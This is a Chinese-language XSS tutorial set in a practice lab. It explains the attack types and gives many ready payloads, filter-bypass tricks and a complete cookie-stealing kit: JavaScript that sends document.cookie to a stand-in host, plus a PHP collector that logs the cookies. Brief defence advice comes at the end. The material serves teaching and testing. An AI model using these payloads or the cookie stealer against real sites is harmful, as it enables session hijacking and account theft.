跨站指令碼攻擊xss
XSS全稱(Cross Site Scripting)跨站指令碼攻擊,是最常見的Web應用程式安全漏洞之一,位於OWASP top 10 2013/2017年度分別為第三名和第七名,XSS是指攻擊者在網頁中嵌入客戶端指令碼,通常是JavaScript編寫的危險程式碼,當用戶使用瀏覽器瀏覽網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的。
XSS分為三類:
反射型XSS:簡單的把使用者輸入的資料反射給瀏覽器,它一次性的和被動的。只有使用者點選了攻擊者的XSS攻擊連線才會觸發。
<?php
$name = $_GET['name'];
echo "Welcome $name<br> ";
?>
儲存型XSS:攻擊者的XSS程式碼會被存在在資料庫裡面,永久性儲存,具有很強的穩定性。也是XSS中危害最大的。常見於頁面資料交匯處。如:評論,修改使用者資訊,登入,留言板,搜尋等地方。攻擊者將指令碼程式碼嵌入留言區等,提交到伺服器,其他使用者登入時也會執行該指令碼程式碼。
DOM型XSS:不與後臺伺服器產生資料互動,通過更改前端的dom節點形成的XSS漏洞。
XSS攻擊的危害:
-
盜取使用者cookie;
-
盜取各類使用者帳號,如機器登入帳號、使用者網銀帳號、各類管理員帳號;
-
控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力;
-
盜竊企業重要的具有商業價值的資料;
-
強制傳送電子郵件;
-
網站掛馬;
如何查詢XSS:
手工查詢:只要有輸入且有對指令碼輸出解析的地方(登入註冊修改更新留言等等),都可以嘗試XSS(如:HTML標籤、URL欄、Style地、Script地、referer頭、cookies、post引數、頁面帶引數的地方等等),也可以藉助半自動工具輔助(Burpsuite、firefox(hackbar)、XSSER、 XSSF等)。
http://xx.xx.xx.xx/xxx.php?id=引數'"><script>alert(12)</script>
工具查詢:APPscan、AWVS、Burpsuite 等
一些經典xss語句:(僅供學習使用,請勿進行非法攻擊)
<h5>1</h5>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>
<script>alert('xss');</script>
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
pt>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
XSS盜取cookie原理:
首先編寫 js程式碼獲取使用者cookie值
var img = document.createElement('img'); // 建立一個圖片標籤
img.width = 0; //設定圖片的寬為0
img.height = 0; //設定圖片的高為0
img.src = 'http://ip/xss.php?Cookie='+encodeURIComponent(document.cookie);// 設定圖片的src屬性,該src能將使用者的cookie值傳送到這個連線的伺服器
編寫伺服器後臺程式碼
<?php
@ini_set('display_errors',1); // 直接在瀏覽器中輸出錯誤資訊
$str = $_GET['Cookie']; // 獲取使用者cookie
$filePath = "Cookie.php"; // 將使用者的cookie儲存
$handler = fopen($filePath, "a");
fwrite($handler, $str);
fclose($handler);
?>
構造 XSS payload
<script src="http://192.168.64.134/xss.js"></script>
<script src="//192.168.64.134/xss.js "></script>
以pikachu靶場做實驗,效果如下。
插入payload,然後提交
後臺伺服器效果如下
XSS繞過技巧:
- 對前端的限制可以嘗試進行抓包重發或者修改前端的HTML。
- 防止後臺對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾可以考慮大小寫混合輸入的方法。例:<sCRipT>alert('xss')</sCrIPt>
- 防止後臺對輸入的內容進行替換,採用拼拼湊的輸入方法。例:<sc<script>ript>alert('xss')</scr<script>ipt>
- 使用註釋來干擾後臺對輸入內容的識別。例:<sc<!--test-->ript>alert('xss')</scr<!--tshauie-->ipt>
- 編碼思路:後臺有可能會對程式碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的程式碼。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
- 轉換標籤:script 標籤不行,可以替換其他標籤(如:img、onclick)。例如:<img src=a onerror=alert(1)>
XSS常規waf繞過技巧:
- 標籤語法替換
- 特殊符號干擾
- 提交方式更改
- 垃圾資料溢位
- 加密解密演算法
- 結合其他漏洞繞過
XSS防禦:
XSS防禦的總體思路是:對輸入進行過濾,對輸出進行編碼
過濾:根據業務需求進行過濾,比如輸出點要求輸入手機號,則只允許輸入手機號格式的數字。
轉義:所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS裡面的進行JS轉義(\)